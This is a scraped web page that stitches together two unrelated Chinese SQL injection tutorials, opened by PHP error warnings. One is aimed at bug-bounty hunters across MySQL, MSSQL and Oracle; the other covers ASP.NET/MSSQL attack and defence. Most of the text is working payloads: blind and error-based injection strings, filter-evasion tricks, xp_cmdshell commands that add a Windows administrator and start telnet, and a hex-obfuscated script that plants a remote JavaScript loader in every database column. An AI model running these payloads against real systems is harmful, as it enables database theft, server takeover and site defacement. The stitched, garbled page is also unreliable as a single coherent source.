Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
者:termsec
鏈接:https://www.kali.net.cn/thread/51458
寫在開頭,此文適用于小白以及src、眾測選手,從了解SQL注入到如何高效快捷地快速挖到SQL注入漏洞,
一、了解SQL注入漏洞
二、SQL注入類型
三、眾測SQL注入漏洞經驗分享
---------------------------------------------------我是分割線---------------------------------------------------------------------
一、了解SQL注入漏洞
我們首先了解什么是SQL注入漏洞,SQL注入漏洞是什么
簡單點說,即web系統對用戶輸入數據的合法性沒有判斷或過濾不嚴,用戶或攻擊者可構造SQL語句來執行非預期查詢。
以dvwa為例講解,
我們可以看到下方查詢框中輸入1,此時系統返回了兩條數據
這時我們可以看下后端數據庫執行的語句:
SELECT first_name, last_name FROM users WHERE user_id=('1') LIMIT 1
可以看到數據庫執行了user_id為1的條件查詢
如果說此處查詢框未對用戶輸入數據的合法性進行判斷或過濾不嚴,就可能導致SQL注入漏洞。
比如我們輸入1加一個單引號:1'
可以看到系統報錯了,該查詢框對用戶輸入的數據沒有進行校驗或過濾,導致用戶輸入的數據代入了數據庫查詢
看下后端的數據庫SQL語句
可以看到SQL語句中多了一個單引號,此時數據庫報錯,
通過這里就可以明白,我們可以構造惡意的SQL語句來執行一些其他的查詢
例如查詢當前數據庫的user值,
已知當前數據庫語句為:SELECT first_name, last_name FROM users WHERE user_id='1'
因為這里是報錯型注入(下一章會詳細講解),
此處為我們可以使用報錯函數構造' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1
直接在查詢框輸入即可:
可以看到該系統的數據庫user值已經通過報錯的方式呈現出來
再看看后端數據庫語句:
我們剛才惡意構造的SQL語句已經成功代入數據庫查詢
SELECT first_name, last_name FROM users WHERE user_id='' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1'
攻擊者可以利用惡意構造的SQL語句,獲取想要獲取的信息。
二、SQL注入類型
SQL注入類型分為幾種
什么是聯合查詢:
聯合查詢是可合并多個相似的選擇查詢的結果集。等同于將一個表追加到另一個表,從而實現將兩個表的查詢組合到一起,使用謂詞為UNION或UNION ALL。
聯合查詢注入條件需要有占位,什么是占位?
標紅的都是從數據庫取出數據顯示在頁面上的,這些都是占位,通過構造sql語句,可以在占位上呈現出想要的信息。
什么是布爾盲注:
布爾盲注指的是在不知道數據庫返回值的情況下對數據中的內容進行猜測,實施SQL注入。
可以簡單理解,布爾分為兩種狀態,即真(true)、假(false)
當我們在實戰進行SQL注入的時候,系統不會返回我們想要的數據,只會返回真和假
示例:
為真時:
這里我們輸入1,返回正常值,操作成功。
輸入1'
此時數據庫報錯,系統前端頁面顯示異常、
也就是說,在后續的SQL注入中,系統只會返回操作成功和列表異常這兩種狀態,即真和假,通過返回狀態來判斷猜解數據,例如判斷當前數據庫的user值第一位為A,返回操作成功頁面,否則列表異常頁面。這就是布爾盲注。
什么是延時注入:
延時注入又稱時間盲注,也是盲注的一種。通過構造延時注入語句后,瀏覽器頁面的響應時間來判斷正確的數據
延時注入跟布爾盲注很像,布爾盲注是通過真和假來判斷,效率較高,延時盲注是通過時間來判斷,例如判斷當前數據庫的user值第一位為A,則延時5秒,否則直接返回。
示例:
以dvwa為例,剛才我們得知user值為root@localhost
我們構造語句:1' and if(substr(user(),1,1)='r',sleep(5),1)or'
該語句的意思為通過if函數判斷,substr函數截取當前user值的第一位是否為r,如果為r,即返回sleep(5),如果不是r則返回1。
可以看到當user值第一位等于R時系統延時了5000毫秒即5秒。通過延時來判斷數據,這就是延時注入。
什么是報錯注入:
報錯注入就是通過頁面爆出的錯誤信息,構造合適的語句來獲取我們想要的數據。
簡單說就是在測試的過程中系統對于一些SQL語句的錯誤,直接回顯在了頁面上,我們可以構造惡意語句直接通過頁面回顯查看我們想要的數據。
示例:
mysql報錯:MySQL server version for the right syntax to use near
mssql報錯:字符串 ')' 后的引號不完整
oracle報錯:ORA-XXXXXX
如果在測試過程中出現了以上字樣,那就說明可以使用報錯函數來進行注入
mysql十大報錯函數參考: https://www.cnblogs.com/zztac/p/11441292.html
mssql不需要報錯函數,類型不匹配即可實現報錯,例如1=user,即可返回當前數據庫user值
oracle十大報錯函數參考: https://www.jianshu.com/p/af12401bbfd9
什么是寬字節注入:
在使用PHP連接MySQL的時候,當設置“set
character_set_client=gbk”時會導致一個編碼轉換的問題,也就是我們熟悉的寬字節注入,當存在寬字節注入的時候,注入參數里帶入% DF%27,即可把(%5C)吃掉。
舉例:當我們提交id=1' and 1=1%23
數據庫執行的語句為:select * from user where id='1\' and 1=1#'
這里將單引號轉義了,無法注入成功
我們提交id=1%df' and 1=1%23
數據庫執行的語句為:select * from user where id='1運' and 1=1#'
成功閉合,達到逃逸的效果
寬字節注入是利用的MySQL的一個特性,MySQL的在使用GBK編碼的時候,會認為兩個字符是一個漢字(前一個ASCII碼要大于128,才到漢字的范圍)。這就是MySQL的的特性,因為GBK是多字節編碼,他認為兩個字節代表一個漢字,所以%DF和后面的\也就是%5c中變成了一個漢字“運”,而“逃逸了出來。
什么是堆疊查詢注入:
在SQL中,分號(;)是用來表示一條sql語句的結束。如果我們在 ; 結束一個sql語句后繼續構造下一條語句,數據庫會一起執行,所以這也就造就了堆疊注入。
示例:
Select * from products where productid=1;DELETE FROM products
當執行命令后,第一條顯示查詢信息,第二條則將整個表進行刪除,這就是堆疊注入。
三、眾測SQL注入漏洞經驗分享
看到這里,相信大家已經對SQL注入有了一個大致的了解,接下來就講一下眾測的一些經驗分享。
在眾測中,大佬們的手速是非??斓?,10分鐘項目暫停,20分鐘項目結束,我們提交上去除了重復還是重復。
正文:
挖掘SQL注入:
首先我們要了解SQL注入的精髓是什么,是if(1=1,1,1)
在大企業項目中常見的數據庫中我們見得最多的是mysql以及oracle
首先,我們該如何挖掘SQL注入,有交互的地方就會存在SQL注入漏洞,在測試的過程中,我們可以使用單引號來測試,一個單引號報錯,兩個單引號閉合為真,萬變不離其宗,只要符合這個特征,符合數據庫原理,那么極有可能存在SQL注入漏洞。
我們可以通過返回包狀態來判斷是否存在
我們可通過http狀態碼以及length長度和返回的內容來進行判斷
單個單引號返回錯誤,雙個單引號返回正常
如果是數字型的參數,可通過減法、除數來快速判斷存在注入。
例如:
http://127.0.0.1/shell.php?id=1
這里id=1,看下數據庫后端執行的SQL語句
數據庫執行的sql語句為:select * from users where user_id=1
可以看到數字1是沒有被單引號包裹的,說明此處為數字型注入,
如何快速判斷數字型注入,可以使用減法,我們可以輸入2-1
可以看到返回結果和1是一樣的,看下數據庫執行的語句
可以看到代入數據庫查詢了,數據庫執行運算了2-1,說明此處可控,存在數字型注入
也可以使用除法1/1、1/0來判斷,1/1為真,1/0為假。
后面會講如何通過除數來注入,通過以上兩個方式可以快速判斷是否存在SQL注入漏洞。
判斷數據庫類型:
大家在挖掘到sql注入的時候不知道數據庫類型,接下來大家講解下如何快速判斷數據庫類型。
iis+asp.net可以初步判斷為mssql、oracle
php+apache+nginx可以初步判斷為msyql、oracle、PostgreSQL
在挖到sql注入漏洞時,首先第一步是判斷數據庫類型
我們可以通過管道符來測試、'||'
可以看到通過管道符''系統返回了所有數據,該條件類似or永真,如果輸入''系統返回真,即可排除mssql數據庫,因為mssql數據庫不支持管道符,說明此系統可能為mysql或oracle數據庫。
既然得知該系統可能為mysql或oracle,繼續判斷是什么數據庫
這里可以使用一個函數、exp函數
簡單講下,mysql的特征是exp的值到710就會報錯,1-709是不會報錯的,看看數據庫執行結果
實例:
exp(709):
exp(710):
通過此方法可以判斷出該系統為mysql數據庫
第二種方法使用運算符:(2*1e308)
原理一樣,1E308是一個閾值,也就是臨界值,到了這個值就會報錯,沒到就不會報錯。
第三種方法(select 1 union select 2):
此方法適用于exp以及2*1e308不報錯的情況下,因為在實戰中可能會遇到exp(710)不會報錯
示例:
'(case when 1=1 then 1 else (select 1 union select 2) end)'
'(case when 1=2 then 1 else (select 1 union select 2) end)'
oracle數據庫判斷:
oracle數據庫也適用于exp函數,但是oracle沒有一個固定的臨界值。
舉例:
可以輸入exp(1)看看返回結果,如果返回真,再輸入exp(100)、exp(300)、exp(500),如果后面報錯的話可以判斷為oracle數據庫,也許在300多報錯,也許在500多報錯,沒有固定的值,但是exp(1)肯定是不會報錯的,如果報錯,說明函數過濾或不可用。
另外也可以使用oracle的一些函數來測試是否能夠報錯
例如1/0、ln(-1)、sqrt(-1)、1-(select 1 from dual union select 2 from dual)等等
MSSQL數據庫判斷:
exp函數也同樣使用于mssql數據庫,也是710報錯,另外也可以通過len函數以及iif函數來判斷,mssql特征過于明顯,這里不過多描述。
快速出數據:
到了最關鍵的一步,如何快速出數據,在眾測或者是src中,我們往往需要通過注入出數據才能證明漏洞。
下面就講下如何快速出數據
大家常用的語句想必是case when...
那么接下來就以case when為例講解
什么是case when函數:
可以簡單理解為if else,即判斷當前條件是否為真,為真返回值,為假則進入else條件。
看一條語句
case when 1=1 then 1 else 0 end
該語句意思為 1=1時返回1,否則返回0
看數據庫是如何執行的:
這樣就很容易理解了吧
上面講到了SQL注入的精髓是什么,是if(1=1,1,1)
如果我們把這個函數代入sql注入中,那么你就成功了一半了
dvwa示例(布爾盲注示例):
在實戰中,我們只需要看三個地方,一個是自己輸入的值,二、HTTP狀態碼、三、length長度,此處為布爾盲注,返回內容不用管,如果是報錯注入,會在返回內容報錯呈現出我們想要的信息。
此處布爾盲注我們可以接入case when進行注入
首先加入單引號查看返回值:
兩個單引號查看返回值:
可以看到一個單引號的時候,數據庫報錯了,系統返回狀態為404,length長度值為5366,
兩個單引號的時候系統返回真,狀態碼200,length長度值為5360
我們就可以理解系統在真的情況下返回5360,假的情況下返回5366
接下來我們鍵入cashe when 函數
mysql、oracle可通用管道符、'(語句)'
'(case+when+1=1+then+1+else+exp(710)+end)'
這條語句的意思即1=1時返回1,否則返回exp(710),exp(710)上面講了,直接報錯
先看看1=1和1=2的返回結果
這里我們就根據系統返回的頁面不同、真假差異來進行SQL注入
例如我們通過substr函數截取當前數據庫user值第一位:
substr(user(),1,1)='r'
代入case when就是'(case+when+substr(user(),1,1)='r'+then+1+else+exp(710)+end)'
如果當前user值第一位是r的話系統返回1也就是真,狀態碼為200,length長度為5360
如果我們輸入a,系統即報錯
我們可以通過遍歷26個字母顯得更直觀:
注意,根據系統以及數據庫不同可能返回長度和狀態碼會有差異。
如果你成功了構造了case when 函數,那么可以在1=1條件處構造自己想要執行的SQL語句。
我們可以看看sqlmap的布爾盲注的payload,都是通過case when來完成
mysql如何快速出數據:
實戰中遇到的mysql數據庫一般分為布爾、報錯,一般情況下mysql常用的函數為user()、current_user
mysql可用函數:
database() //獲取當前數據庫
version() //獲取數據庫版本
user() //獲取用戶
current_user //獲取用戶
@@datadir //獲取數據庫路徑
@@version_compile_os //獲取操作系統
@@basedir //mysql安裝路徑
session_user() //獲取連接數據庫的用戶名
current_user() //獲取當前用戶名
current_user //獲取當前用戶名
system_user() //獲取系統用戶名
@@version //獲取數據庫版本
布爾:
我們在挖到一個SQL注入的時候,首先想的是構造語句閉合來執行我們的惡意語句。
這里可以使用mysql、oracle通用的管道符、\'||',如果遇到waf攔截,可以在管道符中間添加空格'|+|'
在src、眾測實戰中我們往往需要快速出數據,
一般情況下,我們在挖掘SQL注入的時候,遇到的布爾盲注排在第一位,其次是報錯
延時盲注一般都是掃描器掃出來的,為了提高效率,可以通過數據庫報錯函數轉換成布爾盲注。
通用語句:
'(case+when+(語句)+then+1+else+exp(710)+end)'
使用管道符閉合SQL語句'(語句)'
'if(substr(user(),1,1)='r',1,exp(710))'
使用模糊匹配出數據:
' and user() like 'a%
使用substr函數截取出數據:
' and substr(user(),1,1)='r
我們在測試SQL注入出數據的時候,首先需要構造一個布爾的狀態,即真和假
那么如何構造,上面說了一些報錯函數,那么我們可以先用管道符來閉合SQL語句
然后在構造一個布爾的狀態,來執行我們想要執行的SQL語句
先看第一條語句:
'(case when(語句)then 1 else exp(710) end)'
這里語句框我們可以構造自己想要執行的任何SQL語句
因為布爾狀態已經構造成功,為真時返回1,即為真,如果為假,系統返回exp(710)函數直接報錯。
示例:
'(case when substr(user(),1,1)='r' then 1 else exp(710) end)'(截取當前user值第一位是否為r,為r返回1,否則報錯)
'(case when user() like 'r%' then 1 else exp(710) end)'(模糊匹配user值第一位是否為r,為r返回1,否則報錯)
'(case when length(user())=14 then 1 else exp(710) end)'(獲取user值長度是否為14,為14返回1,否則報錯)
假設我們不可使用case when函數,我們可以使用if函數
'if((語句),1,exp(710))'
大家可以查看mysql手冊,尋找自己所需要的的函數進行測試
在實際測試過程中,我們經常會遇到系統無法報錯,這是因為數據表里無數據,數據庫執行了空表查詢,我們可以通過新建一條數據來達到報錯效果.
除了使用管道符來閉合SQL語句,我們還可以使用and或者or來構造閉合
例如:' and 1=1 and '1'='1,') and 1=1 and('1'='1
1=1 就是可輸入語句的位置,可構造自己想要執行的任意語句
過濾逗號和for:
substr(user()from(1))='a'
mid(user()from(1))='a'
過濾單引號:
ord(mid(user(),1,1))=114(114為字母r的ascii碼)
ascii(mid(user(),1,1))=114
hex編碼注入:
(case when current_user like 0x2525 then 1 else 2*1e308 end)
布爾盲注:
(CASE WHEN substr(user(),1,1)='A' THEN 1 ELSE 1*(SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS) END)
(PLUGINS表提供有關服務器插件的信息。利用該表進行基于布爾的報錯盲注。)
示例:
延時注入:
' AND if(substr(user(),1,1)='r',sleep(5),1) AND 'TERM'='TERM(user值第一位為r時延時,不為r時返回1)
sleep不可用時:
SELECT if(substring(user(),1,1)='r',BENCHMARK(10000000,md5('a')),1);user值第一位為r時延時,不為r時返回1
order by 后注入:
在實戰測試過程中,經常會看到“&sort=id&order=desc”這樣的參數,這是排序字段,asc是升序,desc是降序,系統在開發的過程中很有可能忽略對這個參數進行過濾
這個參數是在order by后的,我們可以使用逗號來閉合
先看執行過程:
可以看到該參數的作用是對數據進行排序,假設在實戰中遇到這樣的參數我們可以使用逗號來閉合
例如:
&sort=id&order=desc,(case when 1=1 then 1 else exp(710) end)
或者可以使用減號
&sort=id-(case when 1=1 then 1 else 0 end)&order=desc
也可以使用and或or
&sort=id and if(1=1,1,1)&order=desc
還可以使用RLIKE
&sort=id&order=price RLIKE (SELECT (CASE WHEN (9454=9454) THEN 0x7072696365 ELSE 0x28 END))
注意:以上payload僅供參考,在實戰過程中可能有差異,具體需自己測試,
MSSQL快速出數據:
current_user? 返回當前用戶的名字
datalength?返回用于指定表達式的字節數
Host_name 返回當前用戶所登陸的計算機名
system_user 返回當前所登陸的用戶名稱
user_name 從給定的用戶ID返回用戶名
user_name() 從給定的用戶ID返回用戶名
user_id() 返回指定用戶名的用戶ID
SUSER_SNAME() 返回指定安全ID的登錄名
SUSER_SID() 返回指定用戶的登錄名的安全ID
MSSQL一般情況下報錯注入居多,類型不匹配即可報錯,不需要報錯函數。
例如'and 1=user--+,即可返回當前數據庫user值。
同時mssql也是支持exp和case when函數的
可以通過構造and、or語句閉合來執行我們的語句
例如' and 1=user and '1'='1、' and 1=(case when 1=1 then 1 else 0 end) and '1'='1
如果是數字型注入,可以直接用減號來出數據,1-db_name()
又或者1-iif(1=1,1,1),1-(case when 1=1 then 1 else 0 end)
MSSQL 常見截取函數:
substring()
left():使用模糊匹配
例:left(user,2)='db'
right():返回從字符串右邊開始指定個數的字符
select right('SqlServer_2008',4)
返回:2008
判斷當前數據庫是否為sa:
';if system_user='sa' waitfor delay '0:0:5'--
開啟cmd_shell存儲:
id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE ; -- '
執行命令:
';exec master..xp_cmdshell "whoami"
oracle快速出數據:
在眾測實戰中遇到的金融、銀行、企業使用的oracle數據庫較多
爆數據庫版本:
select banner from v$version where rownum=1
查看當前數據庫:(SELECT name FROM v$database)
當前數據庫賬號:(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
判斷當前系統是否為windows:(select member from v$logfile where rownum=1)
獲取服務器SID:(select instance_name from v$instance) from dual
獲取表名:select table_name from user_tables where rownum=1
獲取字段:(select column_name from user_tab_columns where table_name='表名' and rownum=1)
頁面返回正常,說明是oracle數據庫:
and (select count (*) from dual)>0
當前用戶權限 (select * from session_roles)
服務器監聽IP (select utl_inaddr.get_host_address from dual)
服務器操作系統 (select member from v$logfile where rownum=1)
服務器sid ( 遠程連接的話需要, select instance_name from v$instance)
當前連接用戶 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)
在判斷數據庫時可以用'and 1=(select 1 from dual) '%'=' 語句來判斷,頁面正常則為oracle數據庫。
上面說了oracle支持管道符,同時也支持case when函數,oracle我們可以使用decode函數來快速出數據。
decode函數用法:
可以簡單理解為if函數、case when函數用法一致。
示例:
decode函數盲注:
'decode(substr(user,1,1),'W',1,1/0)'(判斷當前數據庫user值第一位是否為W,如果是,則返回1,否則返回1/0)
上面講了很多報錯函數,可以根據系統不同自己測試使用
在oracle數據庫可以利用除數特性來除以0達到報錯(mssql也支持),也可以使用exp函數報錯
exp函數(隨機數值)
使用case when獲取數據:
'(case+when+substr(user,1,1)='J'+then+1+else+exp(8888)+end)'
閉合判斷:
') OR 1=(CASE WHEN substr(user,1,1)='A' THEN 1 ELSE 1/0 END) AND ('1'='1
主題詞表盲注:
' AND 1=(CASE WHEN substr(user,1,1)='A' THEN NULL ELSE CTXSYS.DRITHSX.SN(1,1) END) AND 'oFWf' LIKE 'oFWf
order by 后注入(sort參數):
sort=desc,(SELECT (CASE WHEN substr(user,1,1)='A' THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
select 1 union select 2:
select (case when 1=1 then null else 2*(SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) end) from dual;
判斷user長度:
select length(user) from dual
select vsize(user) from dual
截取user值:
decode(substr(userenv('CURRENT_USER'),1,1),'W',1,0)
oracle支持的函數:
SYS_CONTEXT('USERENV','CURRENT_USER') current_user,
SYS_CONTEXT('USERENV','CURRENT_SCHEMA') current_user,
SYS_CONTEXT('USERENV','SESSION_USER') session_user,
SYS_CONTEXT('USERENV','DB_NAME') db_name,
SYS_CONTEXT('USERENV','OS_USER') os_user
如遇到系統無法報錯,這是因為數據表里無數據,數據庫執行了空表查詢,我們可以通過新建一條數據來達到報錯效果
只要懂得原理,通過構造布爾的狀態,查閱oracle函數手冊,合理搭配運用函數,都可以達到獲取自己想要的數據的效果
業開始從事winform到今年轉到 web ,在碼農屆已經足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各種借口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。
(對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什么好經驗,為避免后知后覺地犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)
下面的程序方案是采用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。
示例程序下載:SQL注入攻防入門詳解_示例
什么是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。
嘗嘗SQL注入
1. 一個簡單的登錄頁面
關鍵代碼:(詳細見下載的示例代碼)
private bool NoProtectLogin(string userName, string password)
{
int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是沒有經過任何處理,直接拿前端傳入的數據,這樣拼接的SQL會存在注入漏洞。(賬戶:admin 123456)
1) 輸入正常數據,效果如圖:
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
2) 輸入注入數據:
如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因為UserName值中輸入了“--”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上'; ' (分號,用于結束前一條語句),后邊加上'--' (用于注釋后邊的語句))
2. 上面是最簡單的一種SQL注入,常見的注入語句還有:
1) 猜測數據庫名,備份數據庫
a) 猜測數據庫名: and db_name() >0 或系統表master.dbo.sysdatabases
b) 備份數據庫:;backup database 數據庫名 to disk=‘c:\*.db’;--
或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
2) 猜解字段名稱
a) 拆解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常
b) 讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可以得到所有的字段名稱。
3) 遍歷系統的目錄結構,分析結構并發現WEB虛擬目錄(服務器上傳木馬)
先創建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a) 利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;--
b) 利用xp_subdirs獲得子目錄列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結構,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)
d) 利用 bcp 命令將表內容導成文件
即插入木馬文本,然后導出存為文件。比如導出為asp文件,然后通過瀏覽器訪問該文件并執行惡意腳本。(使用該命令必須啟動’ xp_cmdshell’)
Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'
(注意:語句中使用的是雙引號,另外表名格式為“數據庫名.用戶名.表名”)
在sql查詢器中通過語句:Exec master..xp_cmdshell N'BCP’即可查看BCP相關參數,如圖:
4) 查詢當前用戶的數據庫權限
MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通過1=(select IS_SRVROLEMEMBER('sysadmin'))得到當前用戶是否具有該權限。
5) 設置新的數據庫帳戶(得到MSSQL管理員賬戶)
d) 在數據庫內添加一個hax用戶,默認密碼是空的
;exec sp_addlogin'hax';--
e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)
;exec master.dbo.sp_password null,password,username;--
f) 將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--
6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )
通過(5)獲取到sysadmin權限的帳戶后,使用查詢分析器連接到數據庫,可通過xp_cmdshell運行系統命令行(必須是sysadmin權限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我們使用xp_cmdshell來創建一個 Windows 用戶,并開啟遠程登錄服務:
a) 判斷xp_cmdshell擴展存儲過程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
b) 恢復xp_cmdshell擴展存儲過程
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';
開啟后使用xp_cmdshell還會報下面錯誤:
SQL Server 阻止了對組件 'xp_cmdshell' 的過程 'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'xp_cmdshell'。有關啟用'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
通過執行下面的語句進行設置:
-- 允許配置高級選項
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 啟用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell擴展存儲過程
Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';
d) 添加windows用戶:
Exec xp_cmdshell 'net user awen /add';
e) 設置好密碼:
Exec xp_cmdshell 'net user awen password';
f) 提升到管理人員:
Exec xp_cmdshell 'net localgroup administrators awen /add';
g) 開啟telnet服務:
Exec xp_cmdshell 'net start tlntsvr'
7) 沒有xp_cmdshell擴展程序,也可創建Windows帳戶的辦法.
(本人windows7系統,測試下面SQL語句木有效果)
declare @shell int ;
execsp_OAcreate 'w script .shell',@shell output ;
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';
在使用的時候會報如下錯:
SQL Server 阻止了對組件 'Ole Automation Procedures' 的過程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'Ole Automation Procedures'。有關啟用 'Ole Automation Procedures' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
解決辦法:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
好了,這樣別人可以登錄你的服務器了,你怎么看?
8) 客戶端腳本攻擊
攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數據庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。
措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。
攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數據庫中,直接使用SQL語法UPDATE數據庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過“HEX編碼”,然后通過exec可以執行“動態”SQL的特性運行腳本”。
參考:
注入:SQL注入案例曝光,請大家提高警惕
恢復:批量清除數據庫中被植入的js
示例代碼:(可在示例附帶的數據庫測試)
a) 向當前數據庫的每個表的每個字段插入一段惡意腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name
From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor
Fetch Next From Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')
Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
DeallocateTable_Cursor
b) 更高級的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執行
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;
eXeC(@s);--
c) 批次刪除數據庫被注入的腳本
declare @delStrnvarchar(500)
set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替換掉字符
setnocount on
declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint
declare @sqlnvarchar(500)
set @iResult=0
declare cur cursor for
selectname,id from sysobjects where xtype='U'
open cur
fetch next from cur into @tableName,@tbID
while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型
select name from syscolumns where xtype in (231,167,239,175) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']=replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
execsp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow>0
begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;'
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1
fetch next from cur into @tableName,@tbID
end
print '數據庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!'
close cur
deallocate cur
setnocount off
d) 我如何得到“HEX編碼”?
開始不知道HEX是什么東西,后面查了是“十六進制”,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進制的標示符 ’0x’ )
? 在線轉換 (TRANSLATOR, BINARY),進入……
? C#版的轉換,進入……
